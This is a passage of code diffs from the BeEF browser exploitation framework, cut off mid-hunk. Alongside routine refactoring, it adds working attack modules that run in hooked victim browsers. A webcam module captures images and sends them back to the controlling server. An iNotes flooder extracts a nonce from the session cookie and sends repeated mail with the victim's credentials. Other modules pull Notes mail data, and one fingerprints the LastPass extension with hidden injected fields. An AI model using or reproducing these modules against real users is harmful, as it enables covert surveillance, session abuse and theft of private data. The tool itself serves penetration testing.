beef_server.mount("#{bp}/web_ui_auth.js", Rack::File.new(web_ui_auth))
|
||||
web_ui_all = evaluate_and_minify(admin_ui_js, params)
|
||||
unless web_ui_all
|
||||
raise StandardError, "[AdminUI] evaluate_and_minify JavaScript failed: web_ui_all JavaScript is empty"
|
||||
end
|
||||
write_minified_js('web_ui_all.js', web_ui_all)
|
||||
|
||||
auth_js_file = "#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
|
||||
web_ui_auth = evaluate_and_minify(auth_js_file, params)
|
||||
unless web_ui_auth
|
||||
raise StandardError, "[AdminUI] evaluate_and_minify JavaScript failed: web_ui_auth JavaScript is empty"
|
||||
end
|
||||
write_minified_js('web_ui_auth.js', web_ui_auth)
|
||||
rescue => e
|
||||
raise StandardError, "Building Admin UI JavaScript failed: #{e.message}"
|
||||
end
|
||||
|
||||
#
|
||||
@@ -130,11 +147,12 @@ module BeEF
|
||||
beef_server.mount("#{bp}/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
|
||||
end
|
||||
|
||||
# mount the folder were we store static files (javascript, css, images, audio) for the admin ui
|
||||
# mount the media folder where we store static files (javascript, css, images, audio) for the admin ui
|
||||
media_dir = "#{File.dirname(__FILE__)}/../media/"
|
||||
beef_server.mount("#{bp}/media", Rack::File.new(media_dir))
|
||||
|
||||
# If we're not imitating a web server, mount the favicon to /favicon.ico
|
||||
# NOTE: this appears to be broken
|
||||
unless config.get('beef.http.web_server_imitation.enable')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
|
||||
"/extensions/admin_ui/media/images/#{config.get('beef.extension.admin_ui.favicon_file_name')}",
|
||||
@@ -143,7 +161,11 @@ module BeEF
|
||||
)
|
||||
end
|
||||
|
||||
build_javascript_ui beef_server
|
||||
build_javascript_ui
|
||||
rescue => e
|
||||
print_error("[Admin UI] Could not mount URL route handlers: #{e.message}")
|
||||
print_more(e.backtrace)
|
||||
exit(1)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -27,7 +27,6 @@
|
||||
<div class="right-menu">
|
||||
<img src="<%= base_path %>/media/images/favicon.png" />
|
||||
BeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> |
|
||||
<a id='do-submit-bug-menu' href='https://github.com/beefproject/beef/issues' target='_blank'>Submit Bug</a> |
|
||||
<a id='do-logout-menu' href='#'>Logout</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -51,27 +51,29 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
||||
* Update the hooked browser trees
|
||||
* @param: {Literal Object} an object containing the list of offline and online hooked browsers.
|
||||
*/
|
||||
this.updateZombies = function(zombies){
|
||||
var offline_hooked_browsers = zombies["offline"];
|
||||
var online_hooked_browsers = zombies["online"];
|
||||
beefwui.hooked_browsers = zombies["online"];
|
||||
this.updateZombies = function(hooked_browsers){
|
||||
var offline_hooked_browsers = hooked_browsers["offline"];
|
||||
var online_hooked_browsers = hooked_browsers["online"];
|
||||
var new_zombie_list = new Array();
|
||||
|
||||
for(tree_type in this.zombies_tree_lists) {
|
||||
hooked_browsers_tree = this.zombies_tree_lists[tree_type];
|
||||
|
||||
//we compare and remove the hooked browsers from online and offline branches for each tree.
|
||||
hooked_browsers_tree.compareAndRemove(zombies);
|
||||
hooked_browsers_tree.compareAndRemove(hooked_browsers);
|
||||
|
||||
//add an offline browser to the tree
|
||||
for(var i in offline_hooked_browsers) {
|
||||
var offline_hooked_browser = this.zombieFactory(i, offline_hooked_browsers);
|
||||
hooked_browsers_tree.addZombie(offline_hooked_browser, false, ((tree_type != 'basic') ? true : false));
|
||||
new_zombie_list.push(offline_hooked_browser);
|
||||
}
|
||||
|
||||
//add an online browser to the tree
|
||||
for(var i in online_hooked_browsers) {
|
||||
var online_hooked_browser = this.zombieFactory(i, online_hooked_browsers);
|
||||
hooked_browsers_tree.addZombie(online_hooked_browser, true, ((tree_type != 'basic') ? true : false));
|
||||
new_zombie_list.push(online_hooked_browser);
|
||||
}
|
||||
|
||||
//expand the online hooked browser tree lists
|
||||
@@ -85,5 +87,6 @@ var ZombiesMgr = function(zombies_tree_lists) {
|
||||
}
|
||||
|
||||
}
|
||||
beefwui.hooked_browsers = new_zombie_list;
|
||||
}
|
||||
};
|
||||
|
||||
@@ -240,7 +240,7 @@ try{
|
||||
this.addZombie(offline_hooked_browser, offline_hooked_browser["online"], offline_hooked_browser["checkbox"]);
|
||||
}, this)
|
||||
|
||||
//expands the online hooked browser branch
|
||||
//expands the offline hooked browser branch
|
||||
if(this.offline_hooked_browsers_treenode.childNodes.length > 0)
|
||||
this.offline_hooked_browsers_treenode.expand(true);
|
||||
},
|
||||
|
||||
@@ -229,9 +229,13 @@ module BeEF
|
||||
def response2hash(http)
|
||||
response_data = ''
|
||||
|
||||
if !http.response_data.nil? && (http.response_data.length > (1024 * 100)) # more thank 100K
|
||||
response_data = http.response_data[0..(1024 * 100)]
|
||||
response_data += "\n<---------- Response Data Truncated---------->"
|
||||
unless http.response_data.nil?
|
||||
if (http.response_data.length > (1024 * 100)) # more than 100K
|
||||
response_data = http.response_data[0..(1024 * 100)]
|
||||
response_data += "\n<---------- Response Data Truncated---------->"
|
||||
else
|
||||
response_data = http.response_data
|
||||
end
|
||||
end
|
||||
|
||||
response_headers = ''
|
||||
|
||||
@@ -17,7 +17,7 @@ module BeEF
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
|
||||
# If the Rtcsignal table contains requests that need to be sent (has_sent = waiting), retrieve
|
||||
# If the RtcSignal table contains requests that need to be sent (has_sent = waiting), retrieve
|
||||
# and send them to the hooked browser.
|
||||
# Don't forget, these are signalling messages for a peer, so we don't check that the request
|
||||
# is for the hooked_browser_id, but the target
|
||||
@@ -29,7 +29,7 @@ module BeEF
|
||||
rtcmanagementoutput = []
|
||||
|
||||
# Get all RTCSignals for this browser
|
||||
BeEF::Core::Models::Rtcsignal.where(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h|
|
||||
BeEF::Core::Models::RtcSignal.where(:target_hooked_browser_id => hb.id, :has_sent => "waiting").each { |h|
|
||||
# output << self.requester_parse_db_request(h)
|
||||
rtcsignaloutput << h.signal
|
||||
h.has_sent = "sent"
|
||||
@@ -37,7 +37,7 @@ module BeEF
|
||||
}
|
||||
|
||||
# Get all RTCManagement messages for this browser
|
||||
BeEF::Core::Models::Rtcmanage.where(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h|
|
||||
BeEF::Core::Models::RtcManage.where(:hooked_browser_id => hb.id, :has_sent => "waiting").each {|h|
|
||||
rtcmanagementoutput << h.message
|
||||
h.has_sent = "sent"
|
||||
h.save
|
||||
|
||||
@@ -12,7 +12,7 @@ module BeEF
|
||||
#
|
||||
class SignalHandler
|
||||
|
||||
R = BeEF::Core::Models::Rtcsignal
|
||||
R = BeEF::Core::Models::RtcSignal
|
||||
Z = BeEF::Core::Models::HookedBrowser
|
||||
|
||||
def initialize(data)
|
||||
|
||||
@@ -9,34 +9,34 @@ module Models
|
||||
#
|
||||
# Table stores the queued up JS commands for managing the client-side webrtc logic.
|
||||
#
|
||||
class Rtcmanage < BeEF::Core::Model
|
||||
class RtcManage < BeEF::Core::Model
|
||||
|
||||
# Starts the RTCPeerConnection process, establishing a WebRTC connection between the caller and the receiver
|
||||
def self.initiate(caller, receiver, verbosity = false)
|
||||
stunservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.stunservers")
|
||||
turnservers = BeEF::Core::Configuration.instance.get("beef.extension.webrtc.turnservers")
|
||||
|
||||
# Add the beef.webrtc.start() JavaScript call into the Rtcmanage table - this will be picked up by the browser on next hook.js poll
|
||||
# Add the beef.webrtc.start() JavaScript call into the RtcManage table - this will be picked up by the browser on next hook.js poll
|
||||
# This is for the Receiver
|
||||
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
|
||||
r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => receiver, :message => "beef.webrtc.start(0,#{caller},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
|
||||
r.save!
|
||||
|
||||
# This is the same beef.webrtc.start() JS call, but for the Caller
|
||||
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
|
||||
r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => caller, :message => "beef.webrtc.start(1,#{receiver},JSON.stringify(#{turnservers}),JSON.stringify(#{stunservers}),#{verbosity});")
|
||||
r.save!
|
||||
end
|
||||
|
||||
# Advises a browser to send an RTCDataChannel message to its peer
|
||||
# Similar to the initiate method, this loads up a JavaScript call to the beefrtcs[peerid].sendPeerMsg() function call
|
||||
def self.sendmsg(from, to, message)
|
||||
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');")
|
||||
r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => from, :message => "beefrtcs[#{to}].sendPeerMsg('#{message}');")
|
||||
r.save!
|
||||
end
|
||||
|
||||
# Gets the browser to run the beef.webrtc.status() JavaScript function
|
||||
# This JS function will return it's values to the /rtcmessage handler
|
||||
def self.status(id)
|
||||
r = BeEF::Core::Models::Rtcmanage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});")
|
||||
r = BeEF::Core::Models::RtcManage.new(:hooked_browser_id => id, :message => "beef.webrtc.status(#{id});")
|
||||
r.save!
|
||||
end
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ module Models
|
||||
#
|
||||
# Table stores the webrtc signals from a hooked_browser, directed to a target_hooked_browser
|
||||
#
|
||||
class Rtcsignal < BeEF::Core::Model
|
||||
class RtcSignal < BeEF::Core::Model
|
||||
|
||||
belongs_to :hooked_browser
|
||||
|
||||
|
||||
@@ -85,9 +85,9 @@ module BeEF
|
||||
end
|
||||
|
||||
if verbose.to_s =~ (/^(true|t|yes|y|1)$/i)
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i, true)
|
||||
BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i, true)
|
||||
else
|
||||
BeEF::Core::Models::Rtcmanage.initiate(fromhb.to_i, tohb.to_i)
|
||||
BeEF::Core::Models::RtcManage.initiate(fromhb.to_i, tohb.to_i)
|
||||
end
|
||||
|
||||
r = BeEF::Core::Models::Rtcstatus.new(
|
||||
@@ -139,7 +139,7 @@ module BeEF
|
||||
get '/status/:id' do
|
||||
id = params[:id]
|
||||
|
||||
BeEF::Core::Models::Rtcmanage.status(id.to_i)
|
||||
BeEF::Core::Models::RtcManage.status(id.to_i)
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result.to_json
|
||||
@@ -313,7 +313,7 @@ module BeEF
|
||||
if [fromhb, tohb, message].include?(nil)
|
||||
result['success'] = false
|
||||
else
|
||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, message)
|
||||
BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, message)
|
||||
result['success'] = true
|
||||
end
|
||||
|
||||
@@ -436,7 +436,7 @@ module BeEF
|
||||
|
||||
# Finally queue the message in the RTC queue for submission
|
||||
# from the from browser to the to browser
|
||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, msg)
|
||||
BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, msg)
|
||||
|
||||
result = {}
|
||||
result['success'] = true
|
||||
|
||||
@@ -87,7 +87,7 @@ install_linux() {
|
||||
DISTRO_ID=$(cat /etc/os-release | grep ID= | grep -v "BUILD" | grep -v "IMAGE" | cut -d= -f2-)
|
||||
if [ "${DISTRO_ID}" = 'kali' ]; then
|
||||
Distro='Kali'
|
||||
elif [ "${DISTRO_ID}" = 'arch' ] || [ "${DISTRO_ID}" = 'manjaro' ]; then
|
||||
elif [ "${DISTRO_ID}" = 'arch' ] || [ "${DISTRO_ID}" = 'artix' ] || [ "${DISTRO_ID}" = 'manjaro' ] || [ "${DISTRO_ID}" = 'blackarch' ] || [ "${DISTRO_ID}" = 'arcolinux' ]; then
|
||||
Distro='Arch'
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -4,26 +4,73 @@
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
beef.execute(function () {
|
||||
var result = "Not in use or not installed";
|
||||
// The following base64 encoded string represents the LastPass inline PNG which is inserted into user/pass form fields
|
||||
var base64PNG = "iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAYAAABSO15qAAAAAXNSR0IArs4c6QAAAPhJREFUOBHlU70KgzAQPlMhEvoQTg6OPoOjT+JWOnRqkUKHgqWP4OQbOPokTk6OTkVULNSLVc62oJmbIdzd95NcuGjX2/3YVI/Ts+t0WLE2ut5xsQ0O+90F6UxFjAI8qNcEGONia08e6MNONYwCS7EQAizLmtGUDEzTBNd1fxsYhjEBnHPQNG3KKTYV34F8ec/zwHEciOMYyrIE3/ehKAqIoggo9inGXKmFXwbyBkmSQJqmUNe15IRhCG3byphitm1/eUzDM4qR0TTNjEixGdAnSi3keS5vSk2UDKqqgizLqB4YzvassiKhGtZ/jDMtLOnHz7TE+yf8BaDZXA509yeBAAAAAElFTkSuQmCC";
|
||||
|
||||
var lpdiv = document.getElementById('hiddenlpsubmitdiv');
|
||||
if (typeof(lpdiv) != 'undefined' && lpdiv != null) {
|
||||
//We've got the first detection of LP
|
||||
result = "Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv";
|
||||
} else if ($j("script:contains(lastpass_iter)").length > 0) {
|
||||
//We've got the second detection of LP
|
||||
result = "Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter";
|
||||
} else {
|
||||
|
||||
//Form is not there, lets check for any form elements in this page, because, LP won't activate at all without a <form>
|
||||
if (document.getElementsByTagName("form").length == 0) {
|
||||
//No forms
|
||||
result = "The page doesn't seem to include any forms - we can't tell if LastPass is installed";
|
||||
}
|
||||
|
||||
let createInputField = function () {
|
||||
beef.debug("Module - Detect LastPass: Generating input field");
|
||||
|
||||
return new Promise((resolve, reject) => {
|
||||
var input = document.createElement("input");
|
||||
input.type = "text";
|
||||
input.id = "username";
|
||||
input.name = "username";
|
||||
input.setAttribute("style", "display:none;position:absolute;visibility:hidden;top:-1000px;left:-1000px;border:none;");
|
||||
document.body.appendChild(input);
|
||||
beef.debug("Module - Detect LastPass: Input field generated");
|
||||
|
||||
// FF requires some interaction to trigger extension function, so we use a timeout to wait 5 seconds in the hope that a user interacts
|
||||
if (beef.browser.isFF()) {
|
||||
setTimeout(() => {
|
||||
resolve();
|
||||
}, 5000);
|
||||
} else {
|
||||
// `1 second timout to allow DOM to update
|
||||
setTimeout(() => {
|
||||
resolve();
|
||||
}, 1000);
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "lastpass="+result);
|
||||
});
|
||||
let detectLastPass = function () {
|
||||
beef.debug("Module - Detect LastPass: Looking for input field");
|
||||
|
||||
return new Promise((resolve, reject) => {
|
||||
// Detect input form fields with the injected LastPass PNG as background image
|
||||
var bginput = $j('input[style]');
|
||||
var lpdiv = document.getElementById('hiddenlpsubmitdiv');
|
||||
if (bginput.length > 0) {
|
||||
beef.debug("Module - Detect LastPass: Input field with 'style' attribute found: " + bginput);
|
||||
for (var i = 0; i < bginput.length; i++) {
|
||||
beef.debug("Module - Detect LastPass: Number of potential input fields with 'style' attribute found: " + bginput.length);
|
||||
var styleContent = bginput[i].getAttribute('style');
|
||||
if (styleContent.includes(base64PNG)) {
|
||||
beef.debug('Module - Detect LastPass: Matching inline PNG detected');
|
||||
result = "Detected LastPass through presence of inline base64-encoded PNG within input form field";
|
||||
}
|
||||
}
|
||||
// Detect presence of LastPass iframe
|
||||
} else if ($j("iframe[name='LPFrame']").length > 0) {
|
||||
beef.debug('Module - Detect LastPass: Matching iframe found');
|
||||
result = "Detected LastPass through presence of LastPass 'save password' iframe";
|
||||
// Below is the older method of LastPass detection method
|
||||
} else if (typeof (lpdiv) != 'undefined' && lpdiv != null) {
|
||||
result = "Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv";
|
||||
} else if ($j("script:contains(lastpass_iter)").length > 0) {
|
||||
result = "Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter";
|
||||
}
|
||||
resolve();
|
||||
})
|
||||
}
|
||||
|
||||
function getResult() {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "lastpass=" + result);
|
||||
}
|
||||
|
||||
createInputField().then(detectLastPass).then(getResult);
|
||||
|
||||
});
|
||||
|
||||
@@ -10,7 +10,7 @@ beef:
|
||||
category: "Browser"
|
||||
name: "Detect LastPass"
|
||||
description: "This module checks if the LastPass extension is installed and active."
|
||||
authors: ["xntrik"]
|
||||
authors: ["xntrik","DeezyE"]
|
||||
target:
|
||||
not_working: ["IE"]
|
||||
working: ["All"]
|
||||
|
||||
@@ -25,27 +25,93 @@ beef.execute(function() {
|
||||
var ctx = can_el.getContext('2d');
|
||||
|
||||
var localMediaStream = null;
|
||||
var streaming = false;
|
||||
|
||||
var width = 320; // We will scale the photo width to this
|
||||
var height = 0; // This will be computed based on the input stream
|
||||
|
||||
|
||||
var cap = function() {
|
||||
if (localMediaStream) {
|
||||
ctx.drawImage(vid_el,0,0);
|
||||
ctx.drawImage(vid_el,0,0,width,height);
|
||||
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
|
||||
} else {
|
||||
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
window.URL = window.URL || window.webkitURL;
|
||||
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
|
||||
|
||||
navigator.getUserMedia({video:true},function(stream) {
|
||||
vid_el.src = window.URL.createObjectURL(stream);
|
||||
// Older browsers might not implement mediaDevices at all, so we set an empty object first
|
||||
if (navigator.mediaDevices === undefined) {
|
||||
navigator.mediaDevices = {};
|
||||
}
|
||||
|
||||
// Some browsers partially implement mediaDevices. We can't just assign an object
|
||||
// with getUserMedia as it would overwrite existing properties.
|
||||
// Here, we will just add the getUserMedia property if it's missing.
|
||||
if (navigator.mediaDevices.getUserMedia === undefined) {
|
||||
navigator.mediaDevices.getUserMedia = function(constraints) {
|
||||
|
||||
// First get ahold of the legacy getUserMedia, if present
|
||||
var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
|
||||
|
||||
// Some browsers just don't implement it - return a rejected promise with an error
|
||||
// to keep a consistent interface
|
||||
if (!getUserMedia) {
|
||||
return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
|
||||
}
|
||||
|
||||
// Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
|
||||
return new Promise(function(resolve, reject) {
|
||||
getUserMedia.call(navigator, constraints, resolve, reject);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
navigator.mediaDevices.getUserMedia({video:true}).then(function(stream) {
|
||||
if ('srcObject' in vid_el) {
|
||||
vid_el.srcObject = stream;
|
||||
vid_el.play();
|
||||
} else {
|
||||
vid_el.src = window.URL.createObjectURL(stream);
|
||||
}
|
||||
localMediaStream = stream;
|
||||
setTimeout(cap,2000);
|
||||
vid_el.addEventListener('canplay', function(ev){
|
||||
if (!streaming) {
|
||||
streaming = true;
|
||||
setTimeout(cap,2000);
|
||||
}
|
||||
}, false);
|
||||
}, function(err) {
|
||||
beef.debug('[Webcam HTML5] Error: getUserMedia call failed');
|
||||
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());
|
||||
});
|
||||
|
||||
// Retrieve the chosen div option from BeEF and display
|
||||
var choice = "<%= @choice %>";
|
||||
switch (choice) {
|
||||
case "320x240":
|
||||
size320(); break;
|
||||
case "640x480":
|
||||
size640(); break;
|
||||
case "Full":
|
||||
sizeFull(); break;
|
||||
default:
|
||||
size320(); break;
|
||||
}
|
||||
|
||||
function size320() {
|
||||
width = 320;
|
||||
height = 240;
|
||||
}
|
||||
function size640() {
|
||||
width = 640;
|
||||
height = 480;
|
||||
}
|
||||
function sizeFull() {
|
||||
width = 1280;
|
||||
height = 720;
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ beef:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Webcam HTML5"
|
||||
description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam."
|
||||
description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam.<br /> If no image shown choose smaller image size"
|
||||
authors: ["xntrik"]
|
||||
target:
|
||||
user_notify: ["C"]
|
||||
|
||||
@@ -5,6 +5,12 @@
|
||||
#
|
||||
require 'base64'
|
||||
class Webcam_html5 < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Screenshot size', 'store_type' => 'arraystore', 'store_fields' => ['choice'],
|
||||
'store_data' => [['320x240'], ['640x480'], ['Full']], 'valueField' => 'choice', 'value' => '320x240', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true },
|
||||
]
|
||||
end
|
||||
def post_execute
|
||||
content = {}
|
||||
content['result'] = @datastore['result'] unless @datastore['result'].nil?
|
||||
|
||||
@@ -22,16 +22,24 @@ beef.execute(function() {
|
||||
var currentURL = document.URL;
|
||||
var rx = /(.*\.nsf)/g;
|
||||
var arr = rx.exec(currentURL);
|
||||
var notesURL = arr[1];
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
||||
try {
|
||||
var notesURL = arr[1];
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', notesURL+'/%28$All%29?ReadViewEntries&KeyType=time&StartKey='+startdate+'T000000Z&UntilKey='+enddate+'T000000Z&Count='+count, true);
|
||||
xhr.onreadystatechange = function () {
|
||||
if (xhr.readyState == 4 && xhr.status == 200) {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
|
||||
}
|
||||
} else {
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Error: "+xhr.status);
|
||||
}
|
||||
}
|
||||
xhr.send(null);
|
||||
} catch(e) {
|
||||
beef.debug("Error: " + e);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Error: "+e);
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
class Extract_inotes_list < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'type' => 'label', 'html' => 'Provide date boundaries to retrieve a list of Notes:' },
|
||||
{ 'type' => 'label', 'name' => 'name', 'html' => 'Provide date boundaries to retrieve a list of Notes:' },
|
||||
{ 'type' => 'textfield', 'name' => 'startdate', 'ui_label' => 'startdate yyyymmdd', 'value' => '20140101' },
|
||||
{ 'type' => 'textfield', 'name' => 'enddate', 'ui_label' => 'enddate yyyymmdd', 'value' => '20500101' },
|
||||
{ 'type' => 'textfield', 'name' => 'count', 'ui_label' => 'number of items returned', 'value' => '-1' }
|
||||
|
||||
@@ -23,28 +23,34 @@ beef.execute(function() {
|
||||
var currentURL = document.URL;
|
||||
var rx = /(.*\.nsf)/g;
|
||||
var arr = rx.exec(currentURL);
|
||||
var notesURL = arr[1];
|
||||
|
||||
try {
|
||||
var notesURL = arr[1];
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to start flooding.');
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to start flooding.');
|
||||
(function flood() {
|
||||
//extract nonce from ShimmerS-cookie
|
||||
var cookies = document.cookie;
|
||||
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
|
||||
var arrc = rxc.exec(cookies);
|
||||
var xhr = new XMLHttpRequest();
|
||||
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
|
||||
xhr.open("POST", uri, true);
|
||||
xhr.withCredentials = true;
|
||||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
|
||||
|
||||
xhr.send(post_data);
|
||||
|
||||
setTimeout( flood, delay );
|
||||
})();
|
||||
|
||||
(function flood() {
|
||||
//extract nonce from ShimmerS-cookie
|
||||
var cookies = document.cookie;
|
||||
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
|
||||
var arrc = rxc.exec(cookies);
|
||||
var nonce = arrc[1];
|
||||
} catch(e) {
|
||||
beef.debug("[IBM Notes Flooder] Error: " + e);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Flooder failed. Error: ' + e);
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
|
||||
xhr.open("POST", uri, true);
|
||||
xhr.withCredentials = true;
|
||||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
|
||||
|
||||
xhr.send(post_data);
|
||||
|
||||
setTimeout( flood, delay );
|
||||
})();
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
class Inotes_flooder < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'type' => 'label', 'html' => 'Send a note to someone with an attachment:' },
|
||||
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone with an attachment:' },
|
||||
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => '' },
|
||||
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => '' },
|
||||
{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' },
|
||||
|
||||
@@ -20,6 +20,8 @@ beef.execute(function() {
|
||||
var currentURL = document.URL;
|
||||
var rx = /(.*\.nsf)/g;
|
||||
var arr = rx.exec(currentURL);
|
||||
|
||||
try {
|
||||
var notesURL = arr[1];
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
@@ -30,6 +32,11 @@ beef.execute(function() {
|
||||
}
|
||||
}
|
||||
xhr.send(null);
|
||||
} catch(e) {
|
||||
beef.debug("Error: " + e);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Read iNotes Error: "+e);
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
class Read_inotes < BeEF::Core::Command
|
||||
def self.options
|
||||
[
|
||||
{ 'type' => 'label', 'html' => 'Provide unid to retrieve details of a Note:' },
|
||||
{ 'type' => 'label', 'name' => 'name', 'html' => 'Provide unid to retrieve details of a Note:' },
|
||||
{ 'type' => 'textfield', 'name' => 'unid', 'ui_label' => 'notes unid', 'value' => '1' }
|
||||
]
|
||||
end
|
||||
|
||||
@@ -22,24 +22,31 @@ beef.execute(function() {
|
||||
var currentURL = document.URL;
|
||||
var rx = /(.*\.nsf)/g;
|
||||
var arr = rx.exec(currentURL);
|
||||
var notesURL = arr[1];
|
||||
|
||||
//extract nonce from ShimmerS-cookie
|
||||
var cookies = document.cookie;
|
||||
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
|
||||
var arrc = rxc.exec(cookies);
|
||||
var nonce = arrc[1];
|
||||
try {
|
||||
var notesURL = arr[1];
|
||||
|
||||
var xhr = new XMLHttpRequest();
|
||||
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
|
||||
xhr.open("POST", uri, true);
|
||||
xhr.withCredentials = true;
|
||||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
